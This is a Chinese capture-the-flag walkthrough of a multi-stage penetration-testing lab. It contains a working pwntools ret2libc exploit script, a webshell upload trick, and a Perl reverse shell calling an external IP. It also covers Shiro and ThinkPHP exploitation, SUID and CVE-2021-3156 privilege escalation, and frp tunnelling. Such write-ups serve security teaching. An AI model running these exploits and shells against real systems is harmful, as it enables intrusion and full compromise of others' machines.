bugkctf 渗透测试1
下发环境进行访问
场景1
通过查看网页源代码成功找到1个flag
得到flag和提示
html
<!--flag{950d83a16ad47127859d414009432171} PS:下个flag网站管理员才能看到哦-->
场景2
根据提示需要管理员权限,进行登录,直接登录需要邮箱和邮箱验证码,换个思路进网站的后台看看,对敏感目录进行扫描
访问admin进行尝试,会跳转到管理登录页面,进行弱口令爆破试试
成功登录,账号密码为admin/admin,进入后成功找到第二个flag以及第三个flag的提示。
场景3
发现上传配置,对上传配置进行修改,添加PHP为上传后缀
进行上传发现回显为上传文件后缀不能为空,应该是服务器检测到上传的文件后缀是php,对其进行了删除后缀,进行双写后缀试试
上传shell.pphphp,成功上传,掏出我们的蚁剑进行连接,
成功连接后在/home/ctf/flag成功找到flag
场景4
根据提示找到数据库配置文件,成功拿到数据库连接密码
这个时候需要连接数据库,因为蚁剑是非实时工具,连接数据库的时候有点困难,这个时候换成哥斯拉,重新上马连接,连接数据库
成功连接到数据库
拿到flag和提示。
场景5
在题目上发现提示
将main下载下来check一下是一个32位程序,
拖进IDA中进行分析,发现栈溢出,vul函数中没有找到相关的后门函数,需要构造ROP,
确定脚本思路,使用nmap
扫描,看一下开放端口
bash
┌──(root㉿kali-linux-2024-2)-[~]
└─# nmap 139.196.226.142
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-22 12:48 CST
Nmap scan report for 139.196.226.142
Host is up (0.033s latency).
Not shown: 991 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
593/tcp filtered http-rpc-epmap
4444/tcp filtered krb524
8080/tcp open http-proxy
9999/tcp open abyss
Nmap done: 1 IP address (1 host up) scanned in 1.78 seconds
成功得到端口是9999
,编写利用脚本
bash
from pwn import *
from LibcSearcher import LibcSearcher
r = remote('139.196.226.142', 9999) #需要替换成自己的IP
elf = ELF('./main')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']
#构造第一次溢出
payload = b'a' * (0x28) # 填充 0x28 字节,造成栈溢出
payload += p32(write_plt) # 调用 write 函数
payload += p32(main_addr) # 返回到 main 函数,重新利用输入点
payload += p32(1) # write 函数的第一个参数:stdout
payload += p32(write_got) # write 函数的第二个参数:write 的got地址
payload += p32(4) # write 函数的第三个参数:写入 4 字节
r.sendlineafter(b'plz input your name:\n', payload)
# 接收got地址
write_addr = u32(r.recv(4))
log.info(f"write 的地址: {hex(write_addr)}")
# 查找 libc 版本
libc = LibcSearcher('write', write_addr)
offset = write_addr - libc.dump('write')
system_addr = offset + libc.dump('system')
bin_sh_addr = offset + libc.dump('str_bin_sh')
log.info(f"system 的地址: {hex(system_addr)}")
log.info(f"/bin/sh 的地址: {hex(bin_sh_addr)}")
# 构造第二次溢出的 payload,调用 system("/bin/sh")
payload = b'a' * (0x28) # 填充 0x28 字节,造成栈溢出
payload += p32(system_addr) # 调用 system 函数
payload += p32(main_addr) # 返回到 main 函数,防止程序崩溃
payload += p32(bin_sh_addr) # system 函数的参数:/bin/sh
# 发送 payload
r.sendline(payload)
# 进入交互模式,获取 shell
r.interactive()
编写后开始运行
场景6、场景7
根据上个场景的提示要注意8080,之前nmap
也扫描出来了8080端口,进行访问
又是一个登录界面,同时指纹探测出来是java的,抓包看看那个框架
老规矩,使用弱口令试试,开启burp
进行抓包,发现关键字段,
Set-Cookie: rememberMe=deleteMe;
是与 Shiro 框架 相关的 Cookie 设置。确定框架为Shiro
,直接掏出我们的shiro反序列化漏洞综合利用工具
成功利用框架漏洞,可以正常使用功能区了
cat
命令读取root
下的flag发现权限不够,只能读取到home/flag
的,提交发现是场景7的flag,猜测网站中应该还有flag,通过find / -type f -exec grep -l "flag" {} \; 2>/dev/null
命令进行查找
bash
find / -type f -exec grep -l "flag" {} \; 2>/dev/null
命令解释:
find /
:从根目录/
开始递归查找。-type f
:只查找文件(不包括目录)。-exec grep -l "flag" {} \;
:对每个文件执行grep
命令,查找文件内容中是否包含flag
。-l
:只输出包含匹配内容的文件名。
2>/dev/null
:忽略错误信息(如权限不足的提示)。
找到的文件过多,一个一个查找过多,
换个思路,扫描一下网站,看看是否存在未发现的细节
经过扫描目录发现/robots.txt
,进行访问,果然发现之前出现了遗漏
这个才是场景六的flag,
场景8
在场景7中已经成功利用框架漏洞,对其进行内存马注入,成功注入
掏出我们的哥斯拉对其进行连接,这里要注意将有效载荷(即文件类型)换成java
进入命令执行页面,在场景7中的root/flag
显示过是权限不足,这里就需要进行提权了。试试suid提权
------当一个文件设置了 SUID 权限时,用户在执行该文件时会以文件所有者的权限运行,而不是以当前用户的权限运行。
bash
find / -perm -4000 -type f 2>/dev/null
回显出现find
,利用find
命令提权
bash
find flag -exec whoami \;
find flag
:在当前目录下查找名为flag
的文件或目录。-exec whoami \;
:对每个找到的文件或目录执行whoami
命令。whoami
:显示当前用户的用户名。\;
:表示-exec
命令的结束。
bash
find flag -exec cat /root/flag \;
成功读取到flag,并且还有提示Internal network
------内网。
场景9
通过上一个场景写入的内存马进行连接,上传fscan
,同时通过反弹shell来建立一个真正的实时终端。
在服务器上开启监听
bash
nc -lvp 5656
端口可以自定义修改,只需要同时修改自己的IP和端口即可
在靶机终端创建反弹shell
bash
perl -e 'use Socket;$i="117.72.37.106";$p=5656;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
成功弹回
这个时候还不是实时连接,使用script
命令来换成实时终端
bash
script 命令用于记录终端会话的所有输入和输出
实时终端创建完成,开始进行内网穿透,
查看IP
bash
ip -a
得出本机IP是192.168.0.3
,上传fscan进行扫描
bash
./fscan -h 192.168.0.3/24 -nobr -o res.txt
-h 192.168.0.3/24
: 指定扫描的目标网络。192.168.0.3/24
表示扫描192.168.0.0
到192.168.0.255
范围内的所有 IP 地址。-o res.txt
: 指定输出文件为res.txt
,扫描结果将保存到这个文件中。
扫描完成后对res.txt
进行查看,扫描出四个地址
bash
192.168.0.4:3306 open
192.168.0.2:80 open
192.168.0.1:80 open
192.168.0.4:80 open
192.168.0.1:22 open
192.168.0.3:8080 open
192.168.0.1:8080 open
192.168.0.2:9999 open
192.168.0.1:9999 open
[*] WebTitle: http://192.168.0.3:8080 code:302 len:0 title:None 跳转url: http://192.168.0.3:8080/login;jsessionid=961F749750790C23558059F9558586CC
[*] WebTitle: http://192.168.0.1:8080 code:302 len:0 title:None 跳转url: http://192.168.0.1:8080/login;jsessionid=9D9594C712238D5BDE8FD17F9A03BAF2
[*] WebTitle: http://192.168.0.1:8080/login;jsessionid=9D9594C712238D5BDE8FD17F9A03BAF2 code:200 len:2608 title:Login Page
[*] WebTitle: http://192.168.0.3:8080/login;jsessionid=961F749750790C23558059F9558586CC code:200 len:2608 title:Login Page
[*] WebTitle: http://192.168.0.1 code:200 len:59431 title:W3School教程系统 | 打造专一的web在线教程系统
[*] WebTitle: http://192.168.0.2 code:200 len:59431 title:W3School教程系统 | 打造专一的web在线教程系统
[*] WebTitle: http://192.168.0.4 code:200 len:8351 title:博客首页
[+] http://192.168.0.4 poc-yaml-thinkphp5023-method-rce poc1
[+] http://192.168.0.1:8080/ poc-yaml-shiro-key [{key kPH+bIxk5D2deZiIxcaaaA==} {mode cbc}]
[+] http://192.168.0.3:8080/ poc-yaml-shiro-key [{key kPH+bIxk5D2deZiIxcaaaA==} {mode cbc}]
通过ftp
搭建Socks5
代理,在服务端对frps
配置文件进行修改
bash
bindPort = 7000
加权,运行
bash
chmod +x frps
./frps -c frps.toml
上传frp
客户端到靶机地址,并对frp
客户端的配置文件进行修改
plain
[common]
server_addr = 117.72.37.106
server_port = 7000
[socks5]
type = tcp
local_ip = 127.0.0.1
local_port = 1080
remote_port = 10800
plugin = socks5
加权,运行
bash
chmod +x frpc
./frpc -c frpc.toml
成功搭建,更改真机代理和浏览器代理,进行访问
访问192.168.0.4
地址,发现是thinkphp 5023 rce,直接使用payload打
成功注入木马,蚁剑连接(连接过程需要配置代理)
在网站根目录发现flag,成功提交还有提示数据库。
场景10
既然提示数据库了,先看看数据库的配置文件,确定一下数据库的账户密码,文件为/var/www/html/application/database.php
sql
<?phpa1
return [
// 数据库类型
'type' => 'mysql',
// 服务器地址
'hostname' => '127.0.0.1',
// 数据库名
'database' => 'aman',
// 用户名
'username' => 'aman',
// 密码
'password' => 'aman123',
成功拿到数据库账号密码,蚁剑连接数据库有点困难,这个时候在此上传一个哥斯拉的木马,然后进行连接(连接过程同样需要配置代理),连接后进行数据库操作
成功连接数据库读取到flag
场景11
从上一个场景的提示以及题目本身的提示,可以确定需要进行提权了
使用检测脚本确认一下要利用的漏洞
bash
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
同时查看一下各项的版本
bash
#!/bin/bash
echo "=== 系统漏洞检测脚本 ==="
echo "检查内核版本"
uname -r
echo "检查 polkit 版本"
pkexec --version
echo "检查 OpenSSH 版本"
ssh -V 2>&1 | grep -i "OpenSSH"
echo "检查 OpenSSL 版本"
openssl version
echo "检查 Apache 版本"
apache2 -v 2>/dev/null || httpd -v 2>/dev/null
echo "检查 Nginx 版本"
nginx -v 2>&1
echo "检查 MySQL 版本"
mysql --version
echo "检查 PostgreSQL 版本"
psql --version
echo "检查 Docker 版本"
docker --version
echo "检查sudo版本"
sudo -V
echo "=== 检测完成 ==="
发现pkexec version 0.105
,可以使用CVE-2021-4034
来进行提权,Sudo version 1.8.31
,可以使用CVE-2021-3156
来提权,这里使用CVE-2021-3156
来进行提权,从github上下载提权脚本,进行上传,上传完成后,加权,make
一下,
通过命令././exploit 'cat /root/flag'
成功读取到root账户下的flag,完成通关。